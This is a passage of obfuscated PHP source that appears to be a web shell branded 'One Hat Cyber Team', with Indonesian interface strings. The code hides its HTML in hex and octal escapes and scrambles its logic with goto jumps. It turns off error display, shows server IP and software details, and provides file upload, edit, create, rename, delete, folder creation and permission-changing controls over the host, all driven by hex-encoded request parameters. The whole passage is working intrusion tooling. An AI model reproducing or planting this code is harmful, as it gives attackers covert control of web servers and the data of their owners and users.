40\x62\141\143\x6b\147\x72\157\165\x6e\x64\x3a\x30\40\60\x21\x69\155\x70\157\x72\164\141\156\164\x3b\15\12\40\40\40\x20\143\157\154\x6f\x72\72\x23\146\146\146\41\x69\155\x70\x6f\162\164\x61\x6e\x74\x3b\15\12\40\40\x20\x20\x62\157\162\x64\x65\162\x2d\x72\x61\144\x69\x75\x73\72\60\73\15\12\x7d\xd\12\xd\12\56\x66\x6f\x72\155\x2d\143\x6f\x6e\x74\162\x6f\154\x3a\x3a\160\154\x61\x63\145\x68\157\x6c\x64\145\162\x20\173\15\xa\40\40\40\40\x63\157\x6c\x6f\x72\x3a\43\x66\146\146\73\15\xa\40\x20\40\x20\157\x70\141\143\x69\x74\171\72\x31\73\15\12\175\xd\12\15\xa\56\146\157\162\155\x2d\x67\x72\x6f\x75\x70\x20\173\15\xa\x20\40\x20\40\x6d\141\162\147\151\x6e\x2d\164\157\x70\x3a\40\56\63\x72\x65\x6d\x3b\xd\12\x20\40\40\40\155\141\x72\147\x69\156\x2d\142\x6f\164\164\x6f\x6d\x3a\x20\x2e\63\x72\x65\x6d\73\15\xa\x7d\15\xa\xd\xa\x6c\151\x20\173\xd\xa\40\40\x20\40\146\x6f\156\x74\x2d\x73\x69\172\145\x3a\x6c\x61\x72\147\x65\41\151\x6d\x70\157\162\x74\x61\156\164\73\15\xa\40\x20\40\40\143\157\154\x6f\162\72\x20\x23\60\60\142\x66\146\146\41\151\x6d\x70\157\x72\164\141\156\164\73\xd\xa\x20\x20\x20\x20\154\x69\x73\164\x2d\163\164\x79\x6c\145\x3a\40\151\156\x68\145\162\151\x74\x21\151\x6d\160\157\x72\164\x61\x6e\164\x3b\15\xa\x7d\xd\xa\xd\12\141\40\173\xd\12\40\40\40\40\143\x6f\154\x6f\162\x3a\40\x23\x66\x66\x66\x66\146\x66\73\15\xa\x20\x20\x20\40\164\145\x78\164\55\x64\145\x63\x6f\162\141\164\151\x6f\156\72\x20\156\157\156\145\x21\151\x6d\160\x6f\x72\164\x61\x6e\x74\73\xd\xa\175\15\12\15\12\141\x3a\x68\157\166\145\x72\x20\x7b\15\12\40\x20\x20\x20\164\145\170\164\55\x64\x65\x63\157\162\141\x74\151\x6f\x6e\x3a\x20\156\157\x6e\145\x21\151\x6d\x70\x6f\162\x74\141\156\164\x3b\15\xa\x20\40\40\40\143\x6f\154\x6f\162\x3a\40\43\x30\x30\142\x66\146\x66\x3b\15\xa\40\40\40\x20\x61\156\x69\155\x61\x74\151\157\x6e\72\x20\153\145\144\151\x70\x20\61\163\x20\154\151\x6e\145\x61\x72\x20\151\156\146\x69\156\151\x74\145\73\xd\12\x7d\xd\xa\xd\12\150\65\40\173\xd\xa\x20\x20\40\x20\155\x61\x72\147\151\x6e\x2d\164\x6f\160\x3a\40\61\x2e\65\160\170\73\15\12\40\x20\x20\40\155\x61\162\147\151\x6e\55\x62\157\x74\164\x6f\155\x3a\40\x31\56\x35\x70\x78\73\15\12\x20\x20\x20\40\143\157\x6c\157\162\72\x20\x23\60\x30\142\x66\x66\146\x21\151\155\160\x6f\162\164\x61\x6e\164\x3b\15\xa\x20\40\40\40\160\x61\x64\x64\x69\156\x67\x3a\40\62\160\x78\x3b\xd\xa\175\15\xa\xd\xa\164\x65\170\x74\x61\x72\145\141\x20\x7b\15\xa\40\40\x20\40\167\x69\x64\164\150\72\x20\x39\x37\45\73\xd\xa\40\x20\x20\40\x66\x6f\x6e\x74\x2d\x73\x69\172\x65\x3a\40\155\145\144\x69\165\155\x21\x69\x6d\160\x6f\162\x74\x61\x6e\x74\x3b\15\xa\40\40\40\x20\x66\x6f\x6e\164\55\146\x61\x6d\151\154\x79\72\x20\151\156\x68\x65\162\151\164\x3b\xd\12\x20\40\x20\40\x68\145\151\147\x68\164\x3a\x20\x34\x34\x76\150\x3b\15\xa\x20\40\40\x20\160\141\x64\144\151\156\x67\55\x6c\x65\x66\x74\72\40\65\160\x78\x3b\15\12\175\xd\12\15\xa\142\x75\164\x74\157\x6e\54\40\x69\156\x70\165\x74\x20\x7b\15\xa\x20\40\40\40\x62\157\x72\x64\145\162\x3a\x20\x32\x70\170\40\163\x6f\154\x69\144\x20\43\60\60\x62\146\146\146\x3b\xd\12\40\40\40\40\142\x6f\162\x64\145\162\55\x72\141\144\151\x75\163\x3a\40\x35\x70\170\x3b\15\xa\x20\x20\x20\40\146\157\x6e\x74\x2d\x73\151\172\145\x3a\x20\61\x35\160\170\73\15\xa\40\40\40\40\x63\157\x6c\157\x72\x3a\167\150\x69\164\145\x3b\15\xa\x20\x20\x20\x20\154\151\x6e\145\x2d\x68\145\151\147\150\x74\x3a\40\156\157\162\x6d\x61\x6c\x3b\15\12\x20\40\40\x20\x66\x6f\156\164\55\146\141\155\x69\154\x79\72\x20\151\x6e\150\145\162\x69\x74\x3b\xd\12\175\xd\12\xd\xa\x62\x75\x74\164\x6f\x6e\54\x20\151\156\160\x75\x74\72\150\157\x76\x65\x72\x20\173\xd\12\x20\40\x20\x20\x62\x6f\162\x64\x65\162\72\40\62\160\170\x20\x73\x6f\x6c\x69\x64\40\43\x30\x30\x62\146\x66\x66\73\15\xa\40\40\x20\x20\143\165\162\163\x6f\162\72\x20\x70\x6f\x69\156\x74\x65\162\73\xd\12\x7d\15\xa\15\xa\x2e\157\150\x63\164\40\x7b\xd\12\x20\40\40\x20\x70\141\x64\x64\151\156\x67\x2d\154\145\146\x74\72\40\61\162\145\x6d\73\xd\12\40\40\40\x20\160\141\144\144\151\156\147\x2d\162\x69\x67\150\164\x3a\40\x31\162\145\x6d\73\15\12\x20\x20\x20\x20\x63\x6f\154\157\x72\72\40\x77\x68\x69\x74\x65\x3b\xd\xa\x20\40\x20\40\x62\x6f\162\x64\x65\x72\x3a\x20\62\x70\170\40\163\x6f\154\151\144\x20\x23\x30\x30\142\146\146\146\x3b\15\12\x20\40\40\x20\x62\x6f\162\x64\x65\162\55\162\141\x64\151\x75\x73\x3a\40\65\160\x78\x3b\xd\12\40\40\x20\40\142\141\143\153\147\x72\x6f\x75\156\144\55\x63\157\154\157\x72\x3a\40\164\x72\x61\156\x73\x70\x61\x72\x65\x6e\164\73\xd\xa\x20\40\40\x20\146\157\156\x74\x2d\146\x61\x6d\x69\x6c\x79\x3a\x20\151\156\150\x65\162\151\164\x3b\15\xa\40\x20\40\x20\x66\x6f\156\x74\55\x73\x69\172\145\72\x20\61\x36\160\170\73\xd\12\x7d\15\xa\xd\12\56\157\x68\x63\164\72\150\157\x76\145\162\40\173\xd\12\40\x20\40\x20\142\157\162\x64\x65\x72\72\x20\62\160\170\40\x73\157\x6c\x69\144\x20\43\60\60\x62\146\x66\x66\73\15\xa\40\40\x20\x20\x63\157\x6c\x6f\x72\72\40\x23\60\60\142\x66\x66\146\x21\x69\x6d\160\x6f\x72\164\x61\156\x74\x3b\15\xa\175\15\12\15\12\56\143\157\x6d\x62\145\x74\x20\173\15\12\40\40\40\40\143\x6f\x6c\x6f\162\x3a\40\167\x68\151\164\145\x3b\xd\12\x7d\xd\xa\15\xa\x2e\143\157\155\x62\145\164\x3a\x68\x6f\x76\145\162\x20\x7b\xd\xa\x20\40\x20\x20\x63\157\154\157\162\72\40\x23\x30\x30\x62\x66\x66\146\x3b\15\xa\175\xd\12\xd\xa\x2e\160\55\61\40\x7b\15\12\40\x20\40\x20\160\141\144\x64\151\156\147\72\x20\64\160\x78\73\15\xa\x7d\15\xa\15\xa\72\x3a\x73\145\x6c\x65\x63\x74\x69\x6f\156\40\173\xd\xa\x20\x20\40\40\143\x6f\x6c\157\x72\72\40\x62\x6c\x61\143\153\x3b\15\xa\x20\40\40\x20\142\x61\x63\x6b\147\162\157\165\x6e\x64\x3a\x20\163\151\x6c\166\145\x72\x3b\xd\xa\175\xd\12\xd\12\56\x66\x61\40\173\15\12\40\x20\x20\x20\160\x61\x64\x64\x69\156\x67\72\40\61\x30\160\170\73\15\12\x20\40\40\40\x66\157\156\164\55\163\151\x7a\x65\x3a\x20\62\60\x70\170\x3b\xd\xa\40\40\x20\x20\167\151\144\164\150\x3a\x20\x35\60\160\170\73\xd\12\x20\x20\40\x20\x74\145\170\x74\55\141\154\x69\147\x6e\72\x20\x63\x65\x6e\164\x65\162\73\15\xa\x20\40\40\x20\x74\x65\170\x74\55\144\145\143\157\x72\141\164\151\x6f\156\72\40\x6e\157\x6e\145\x3b\15\12\x20\40\x20\40\x6d\141\162\x67\x69\156\72\40\x35\160\x78\73\xd\xa\40\x20\x20\40\143\x6f\x6c\x6f\x72\x3a\x20\43\60\60\x62\x66\146\146\73\xd\12\x7d\15\xa\15\12\56\146\141\x3a\150\157\166\x65\162\40\173\xd\xa\x20\x20\40\x20\x62\x6f\x72\144\145\162\x3a\40\x32\160\x78\x20\163\157\x6c\x69\144\x20\x23\x30\x30\x62\146\146\x66\73\xd\xa\175\xd\xa\xd\xa\56\x74\x65\170\x74\x2d\x6c\x69\x67\x68\x74\40\173\xd\xa\x20\40\40\40\x63\x6f\x6c\157\162\x3a\x20\x23\x66\x38\x66\x39\x66\141\x21\x69\x6d\160\x6f\x72\x74\141\156\x74\73\15\xa\x20\x20\x20\40\146\x6f\156\x74\55\x73\x69\172\x65\x3a\40\154\141\162\x67\145\41\x69\x6d\x70\157\162\164\141\156\164\x3b\xd\12\x7d\15\xa\xd\xa\x2e\153\x65\x64\x69\160\x20\173\xd\12\40\x20\40\x20\x61\156\x69\155\141\164\151\x6f\156\72\x20\153\145\x64\x69\160\40\61\163\40\154\x69\x6e\x65\141\162\x20\x69\156\146\x69\x6e\x69\x74\145\x3b\15\12\x7d\15\xa\15\12\100\153\145\171\x66\162\x61\155\x65\163\40\153\x65\x64\151\160\x20\173\xd\xa\40\40\40\x20\x30\x25\x20\x7b\15\12\x20\x20\x20\x20\x20\40\40\40\143\x6f\154\157\162\72\x20\43\60\x30\x62\146\x66\x66\73\xd\xa\40\x20\40\x20\x7d\15\12\x20\40\40\40\65\60\x25\40\x7b\xd\xa\x20\x20\x20\40\40\x20\x20\40\143\157\x6c\157\162\72\40\167\150\151\164\145\73\15\xa\x20\x20\x20\40\x7d\15\xa\x20\x20\40\x20\61\60\x30\x25\40\x7b\xd\12\x20\40\40\x20\x20\x20\40\x20\143\157\154\x6f\x72\x3a\40\43\x30\x30\142\146\x66\x66\73\xd\xa\40\40\x20\40\x7d\xd\xa\175\15\12\15\12\x40\x6b\x65\x79\146\x72\x61\x6d\145\x73\x20\x72\141\151\x6e\142\x6f\x77\102\x6f\162\144\x65\x72\x20\173\15\xa\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x30\45\40\173\15\xa\40\40\40\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x62\157\162\144\x65\x72\x2d\151\x6d\x61\x67\x65\x3a\40\154\151\156\145\x61\162\55\147\162\141\144\151\145\156\164\50\x74\x6f\x20\x72\x69\147\150\164\x2c\x20\x23\x30\x30\x62\x66\146\146\x2c\40\155\141\147\x65\x6e\x74\141\51\40\61\x3b\15\12\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\175\15\12\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\61\x34\x25\x20\173\15\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\142\157\162\144\x65\x72\x2d\x69\x6d\141\x67\x65\x3a\40\x6c\151\156\x65\141\x72\55\x67\x72\141\x64\151\x65\156\x74\50\164\157\x20\x72\151\x67\150\164\x2c\40\x6d\141\147\145\x6e\x74\141\x2c\40\x6c\x69\155\145\x29\40\x31\73\xd\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\xd\12\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x32\x38\x25\x20\x7b\15\12\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x62\x6f\x72\144\x65\162\55\151\155\x61\x67\x65\72\x20\154\151\x6e\145\x61\x72\x2d\147\x72\x61\x64\x69\x65\156\x74\x28\164\157\40\162\x69\x67\x68\x74\x2c\x20\x6c\x69\x6d\145\x2c\40\x79\145\154\x6c\x6f\167\x29\40\x31\x3b\xd\xa\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\175\xd\12\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\64\62\45\x20\173\15\xa\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\142\157\162\144\x65\162\55\151\155\141\147\x65\72\x20\154\x69\156\145\x61\x72\x2d\147\162\x61\144\x69\x65\x6e\164\x28\x74\157\x20\162\151\147\x68\164\54\40\171\x65\154\x6c\x6f\x77\x2c\x20\x6f\x72\x61\x6e\147\x65\x29\x20\x31\x3b\xd\12\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\x7d\xd\12\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\65\x37\45\x20\173\xd\xa\40\40\40\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\142\x6f\x72\144\x65\x72\x2d\x69\155\x61\147\145\72\x20\x6c\151\156\x65\x61\x72\55\147\x72\x61\144\151\145\x6e\x74\50\x74\x6f\40\162\151\x67\150\164\x2c\x20\157\x72\141\x6e\147\145\x2c\x20\162\145\x64\51\40\x31\x3b\15\12\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x7d\xd\xa\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x37\x31\45\x20\x7b\xd\12\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\142\x6f\162\x64\x65\162\x2d\151\155\x61\x67\x65\72\40\x6c\x69\156\145\141\x72\x2d\147\162\141\144\151\x65\156\164\50\x74\x6f\40\x72\151\x67\150\164\x2c\40\x72\x65\144\x2c\40\x70\x69\156\x6b\x29\x20\61\x3b\15\12\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x7d\15\xa\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x38\x35\45\40\173\15\12\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\x62\x6f\x72\x64\145\x72\x2d\151\x6d\141\x67\x65\x3a\40\x6c\151\x6e\145\x61\162\x2d\147\162\x61\144\x69\145\156\164\50\164\157\40\x72\151\147\150\164\54\x20\x70\151\x6e\153\54\x20\43\x30\60\142\146\x66\146\51\x20\x31\73\15\12\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\175\xd\xa\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x31\x30\60\x25\x20\173\15\xa\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\142\157\162\x64\145\162\x2d\151\x6d\141\x67\x65\x3a\x20\x6c\151\x6e\x65\141\162\x2d\x67\162\x61\x64\151\145\x6e\x74\x28\x74\x6f\40\162\x69\147\150\164\54\40\43\x30\60\x62\x66\146\x66\54\40\155\141\147\x65\x6e\164\141\x29\40\x31\73\xd\xa\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\175\15\12\40\x20\40\x20\x20\x20\x20\x20\x7d\15\12\xd\xa\x2e\x72\141\x69\156\142\x6f\167\x2d\142\x6f\x72\144\x65\x72\40\173\15\xa\40\40\40\x20\142\157\x72\x64\x65\x72\x3a\40\x32\160\x78\40\163\157\x6c\151\x64\x20\162\x65\144\73\15\xa\40\40\40\x20\x62\157\162\x64\145\162\55\162\141\x64\151\x75\x73\72\40\x35\160\x78\41\x69\x6d\160\157\x72\164\141\156\x74\73\xd\xa\x20\x20\x20\x20\141\156\151\x6d\x61\x74\151\157\156\x3a\40\162\141\x69\x6e\x62\157\167\102\157\x72\x64\145\162\x20\62\x73\x20\x6c\151\x6e\x65\141\162\40\x69\156\146\151\x6e\151\x74\145\73\15\xa\175\xd\xa\x20\40\x20\x20\x20\40\x20\x20\100\x6b\145\171\x66\x72\x61\x6d\x65\x73\x20\162\x61\x69\156\x62\157\x77\124\145\170\164\x20\173\xd\12\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\60\45\x20\173\15\xa\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\143\x6f\x6c\x6f\162\x3a\x20\x23\60\60\142\146\146\146\x3b\15\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x7d\xd\xa\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x31\x34\x25\x20\173\xd\xa\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\143\157\x6c\157\x72\x3a\40\155\x61\147\x65\x6e\x74\141\73\15\12\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\175\xd\12\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\62\70\x25\x20\x7b\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\143\157\x6c\x6f\162\x3a\x20\154\x69\x6d\x65\x3b\15\xa\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\175\xd\xa\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\64\62\45\x20\x7b\xd\xa\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x63\x6f\x6c\157\162\x3a\x20\171\x65\154\x6c\157\x77\x3b\xd\12\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x7d\xd\xa\x20\40\x20\40\40\40\40\x20\40\40\40\40\65\x37\x25\40\173\xd\12\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x63\157\154\157\x72\72\40\x6f\x72\x61\156\147\x65\73\15\xa\x20\40\40\40\x20\40\40\40\40\x20\x20\40\175\15\xa\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\67\x31\x25\x20\173\xd\xa\40\40\x20\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\143\x6f\154\x6f\162\72\x20\162\145\144\x3b\15\12\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\175\15\xa\40\40\x20\40\40\x20\40\40\40\40\x20\x20\70\65\45\x20\173\xd\xa\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\40\40\143\x6f\x6c\x6f\x72\72\40\x70\151\x6e\153\x3b\xd\xa\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\175\15\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x31\x30\x30\45\x20\x7b\15\12\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\143\157\x6c\x6f\x72\72\40\43\x30\x30\x62\x66\146\x66\73\xd\12\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\175\xd\xa\x20\x20\40\40\40\40\40\x20\175\xd\xa\56\x72\141\x69\156\x62\157\x77\55\x74\145\x78\x74\x20\x7b\xd\12\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\141\x6e\151\x6d\x61\x74\151\157\x6e\72\40\x72\x61\151\x6e\x62\157\x77\x54\x65\170\164\x20\x32\163\40\x69\x6e\146\151\x6e\x69\x74\x65\73\15\xa\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\146\x6f\156\x74\x2d\x77\145\151\147\150\x74\72\40\x62\x6f\154\x64\73\15\xa\40\x20\40\x20\x20\40\x20\40\175\15\xa\x3c\x2f\x73\164\x79\x6c\x65\76\xd\12\40\x20\40\x20\74\x73\143\162\x69\x70\x74\x20\x73\x72\143\75\x22\x2f\x2f\x75\x6e\x70\x6b\147\x2e\x63\157\x6d\57\163\x77\145\x65\164\x61\154\x65\x72\x74\57\144\151\163\x74\x2f\x73\167\x65\x65\x74\x61\154\x65\162\x74\x2e\x6d\x69\156\56\x6a\163\42\76\x3c\57\163\x63\x72\151\x70\x74\76\xd\12\x3c\x2f\150\145\141\144\76\xd\12\74\x62\157\x64\171\x3e\15\12\x3c\x64\x69\166\40\143\154\x61\163\x73\75\x22\164\x61\142\154\145\55\162\145\163\x70\157\156\x73\x69\166\x65\40\164\145\170\164\x2d\154\151\147\150\164\40\162\x61\x69\x6e\142\157\x77\55\142\x6f\x72\x64\145\162\42\40\163\164\171\x6c\145\75\42\164\x65\170\164\55\x61\x6c\x69\x67\156\x3a\40\x6c\145\x66\164\73\x70\x61\144\x64\x69\156\x67\x3a\40\64\160\x78\x3b\42\x3e\xd\xa\74\x64\151\166\40\163\x74\171\154\145\75\42\x74\x65\x78\164\55\141\154\151\147\156\72\40\143\x65\156\164\x65\x72\x3b\144\151\x73\x70\x6c\x61\x79\x3a\x20\146\x6c\145\x78\73\141\x6c\x69\147\x6e\x2d\151\164\x65\155\163\72\40\x63\145\x6e\x74\x65\162\x3b\152\x75\x73\x74\151\x66\x79\55\x63\x6f\156\x74\145\156\164\72\x20\143\145\156\x74\145\162\x3b\141\154\151\x67\x6e\55\x63\157\x6e\x74\x65\x6e\164\72\x20\x63\x65\156\164\145\162\73\42\76\15\xa\x3c\x61\x20\x68\x72\x65\x66\x3d\42\77\x22\x20\x73\164\171\154\x65\x3d\42\146\x6f\x6e\164\x2d\x73\x69\x7a\145\72\40\x32\x72\145\155\73\160\141\x64\144\x69\156\147\x2d\154\x65\x66\164\x3a\40\x30\56\63\162\145\155\73\160\141\x64\144\151\x6e\147\55\x72\x69\147\x68\164\72\40\60\56\x33\x72\145\x6d\x3b\42\76\x3c\x73\x70\x61\156\40\x63\154\x61\163\x73\75\42\x72\141\151\156\x62\x6f\x77\55\x74\145\170\x74\42\x3e\x4f\156\145\x20\110\x61\x74\40\x43\x79\x62\x65\x72\x20\x54\145\141\155\74\57\163\160\141\x6e\x3e\74\x2f\x61\76\x20\15\12\x3c\57\x64\x69\166\76\xd\12\x3c\x6c\151\76\x59\157\165\162\x20\111\120\x20\72\x20\74\163\160\141\156\40\x73\164\171\154\x65\75\x22\x63\157\154\157\x72\x3a\x20\x77\x68\x69\x74\145\x3b\x22\x3e"; goto qv6Am; Y7Z0b: sEy8B: goto LExXx; P3c4U: echo "\x3c\57\144\151\x76\x3e\xd\12"; goto IXUL0; i6dER: echo gethostbyname($_SERVER["\123\105\122\126\105\122\137\x4e\101\115\x45"]); goto pUQui; ouN_B: sVyvh: goto FfdSI; Z3Rwf: $c8[$lE] = JD($c8[$lE]); goto n21be; as55f: if (move_uploaded_file($fileTmpName, $targetFilePath)) { goto uEny2; } goto SSOY8; V32i4: GqE6o: goto z00aG; tCv0u: if (file_exists($filePath)) { goto IfSJ9; } goto a3yUv; k3N95: goto jycuQ; goto ouN_B; uiNll: echo "\74\x2f\150\65\x3e\15\12\x3c\x66\157\x72\x6d\40\x6d\x65\x74\x68\x6f\144\75\x22\160\157\x73\164\x22\x3e\xd\12\40\x20\40\x20\74\x64\x69\166\40\x63\x6c\x61\163\163\75\x22\x66\157\x72\x6d\x2d\x67\162\157\165\160\42\76\xd\12\40\x20\40\x20\x20\x20\40\x20\x3c\x69\x6e\x70\165\x74\x20\164\171\x70\145\75\x22\x74\145\170\164\x22\40\156\141\x6d\145\x3d\x22\x6e\x65\x77\137\160\x65\x72\155\x69\x73\x73\x69\x6f\x6e\x73\x22\x20\151\x64\x3d\x22\x6e\145\x77\x5f\x70\x65\162\155\x69\163\163\151\157\156\x73\42\40\x63\154\x61\163\163\x3d\42\142\x6f\x72\x64\145\x72\x20\160\x2d\61\x22\x20\x70\154\141\143\x65\x68\157\x6c\144\145\162\75\x22\103\157\156\164\x6f\x68\x3a\40\x30\x37\x35\65\x22\x20\x73\x74\x79\x6c\145\75\x22\x74\145\170\164\x2d\x61\154\151\x67\x6e\x3a\40\143\x65\156\x74\x65\162\73\x22\x3e\15\12\40\x20\x20\40\74\x2f\144\151\166\76\xd\12\40\x20\40\x20\x3c\144\151\x76\40\143\x6c\141\x73\x73\x3d\x22\146\x6f\x72\155\55\147\162\157\x75\x70\x22\x20\163\x74\171\154\x65\75\42\155\141\x72\147\151\x6e\x2d\x74\157\x70\72\x20\61\x30\160\170\73\x22\x3e\15\12\40\40\x20\x20\40\40\x20\x20\x3c\142\165\x74\x74\157\x6e\x20\x74\x79\x70\145\75\x22\163\165\x62\155\151\x74\x22\40\x6e\x61\155\145\75\x22\143\x68\141\156\x67\x65\x5f\x70\145\162\155\x73\x22\x20\x63\154\141\163\163\75\42\x6f\x68\x63\164\42\76\x55\x62\141\x68\40\x49\172\x69\x6e\x3c\57\142\165\164\164\157\x6e\76\15\xa\40\x20\x20\40\74\57\x64\151\x76\76\15\xa\74\x2f\146\x6f\x72\155\76\xd\12\15\xa"; goto oUPhS; ub8zK: xe("\106\x69\x6c\145\40\x62\x65\162\150\141\x73\151\154\x20\144\x69\x75\x6e\x67\x67\x61\150"); goto XbO1F; qkvjE: Q1N8Z: goto ckKLx; aRFgz: if (!isset($_POST["\x63\162\145\x61\164\145\x5f\146\151\154\145"])) { goto cHfGd; } goto iOZrz; SrtER: JuQTj: goto psV4R; f5aRU: $folderName = $_POST["\146\157\x6c\x64\x65\x72\137\156\141\155\145"]; goto X9oWu; M6ABo: echo $_SERVER["\123\x45\122\x56\x45\122\x5f\123\117\x46\124\127\101\122\x45"]; goto SwPKx; w2eNq: echo Ss($Jd) . "\46\x61\75" . sS("\x6e\145\x77\104\x69\x72"); goto XuBX4; PBWDG: oKtRs: goto G8ZaQ; APzPP: DqkC1: goto DFSe3; Ne4KB: mBbAB: goto y8gBw; X0blT: PW8sr: goto ned6r; IYt8j: uEny2: goto ub8zK; G8ZaQ: if (!($im == "\x65\x64\x69\x74")) { goto sVyvh; } goto k3N95; CmQdn: echo htmlspecialchars(jD($_GET["\156"])); goto MycnO; XjoI2: $newPerms = $_POST["\x6e\145\x77\137\x70\x65\162\155\151\x73\163\x69\157\x6e\x73"]; goto c6P__; K71UA: if ($im == "\144\145\154\145\x74\x65") { goto nhGdW; } goto fJZSg; fRdU4: function Jd($SP) { goto byBFn; byBFn: $dE = ''; goto KdwWq; AZq7K: $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); goto GTawt; JIesp: goto sY9T1; goto K2d5G; n7IWq: mZHDS: goto GB4ed; s8o21: return $dE; goto pWRTP; GTawt: KgfRl: goto mjhT4; K2d5G: gte_y: goto AZq7K; mjhT4: $lE += 2; goto Ywk5Q; oCr1K: $lE = 0; goto n7IWq; KdwWq: $gf = strlen($SP) - 1; goto oCr1K; GB4ed: if ($lE < $gf) { goto gte_y; } goto JIesp; vVstd: sY9T1: goto s8o21; Ywk5Q: goto mZHDS; goto vVstd; pWRTP: } goto KH9aY; rjz3G: goto WuWzI; goto ui2ii; RgCVA: BgYPr: goto V32i4; N93Qc: WuWzI: goto P3c4U; S2fjQ: qLlQw: goto SA16k; QznLN: echo htmlspecialchars(jD($_GET["\156"])); goto Ovz2f; jtnD_: if (is_writable($filePath)) { goto YepRA; } goto tqKCZ; Nc198: goto Bh2fC; goto aAPZK; t2P1z: xe("\x42\145\x72\150\141\163\x69\x6c\40\x6d\145\x6e\x67\165\142\141\x68\40\151\x7a\151\x6e"); goto EaJYU; hky0H: FuJKP: goto z47JB; K0vFC: ini_set("\x64\151\163\160\x6c\141\171\x5f\x65\162\162\157\x72\x73", 0); goto qZkE2; liHBS: cuWoE: goto YpqQB; hQI_R: wf9aW: goto klVg8; J6449: goto Fk3E1; goto liHBS; c6P__: $currentDir = getcwd(); goto y1nIx; Ovz2f: echo "\74\57\x66\x6f\156\164\76\xd\xa\74\x2f\150\x35\x3e\xd\xa\74\x64\x69\x76\x20\143\154\141\x73\163\x3d\x22\x66\x6f\162\155\55\x67\x72\157\165\160\42\x3e\15\12\x3c\x74\145\170\x74\141\x72\145\141\x20\156\x61\x6d\145\x3d\x22\146\x69\154\145\137\143\157\x6e\164\145\x6e\x74\42\x20\151\144\75\42\x66\x69\154\145\x5f\x63\157\156\164\145\x6e\164\x22\40\x63\157\154\x73\75\x22\x33\60\x22\x20\162\157\167\x73\75\42\x31\60\x22\x20\143\x6c\x61\163\163\x3d\42\146\157\162\x6d\x2d\x63\x6f\x6e\164\162\157\x6c\x20\x72\x61\151\156\x62\157\167\x2d\x62\x6f\x72\x64\145\162\x22\40\x72\x65\x61\144\157\x6e\x6c\171\x3e"; goto yCXHO; lP14A: $Jd = $c8[2](); goto vNGYA; KhgEs: echo "\x3c\57\x73\160\141\x6e\x3e\74\57\154\x69\x3e\15\xa\x3c\154\x69\x3e\123\x65\x72\x76\x65\x72\40\x49\x50\40\72\x20\x3c\163\x70\141\156\40\x73\x74\x79\x6c\x65\75\x22\x63\x6f\154\x6f\162\x3a\x20\x77\x68\x69\164\x65\73\42\x3e"; goto i6dER; LHxHL: Xe("\146\141\151\154\145\144\40\164\157\40\144\145\154\x65\164\145\40\164\x68\x65\x20\146\x69\x6c\145", 0); goto QMnli; m_WJB: goto NF5Mp; goto V4aUK; JkfzH: $filePath = "{$currentDir}\x2f{$fileName}"; goto tCv0u; v9nE0: echo "\x22\x20\143\154\x61\x73\x73\x3d\42\x6f\x68\x63\164\42\x3e\102\165\141\164\x20\x46\x69\x6c\145\x3c\57\141\76\x20\x7c\40\74\x61\40\x68\162\145\x66\x3d\42\x3f\x70\75"; goto w2eNq; SetU1: if (!($im == "\x72\x65\156\x61\x6d\145")) { goto oKtRs; } goto iJrKt; XoXZZ: $c8[3](Jd($_GET["\160"])); goto Ne4KB; BrZJD: Xe("\106\157\x6c\x64\x65\162\x20\x67\141\147\141\x6c\x20\x64\151\x62\165\141\164", 0); goto ZB075; oO92L: if (!isset($_POST["\162\x65\x6e\x61\x6d\145\137\x66\151\x6c\x65"])) { goto X6Epq; } goto epYd3; DbYJr: echo 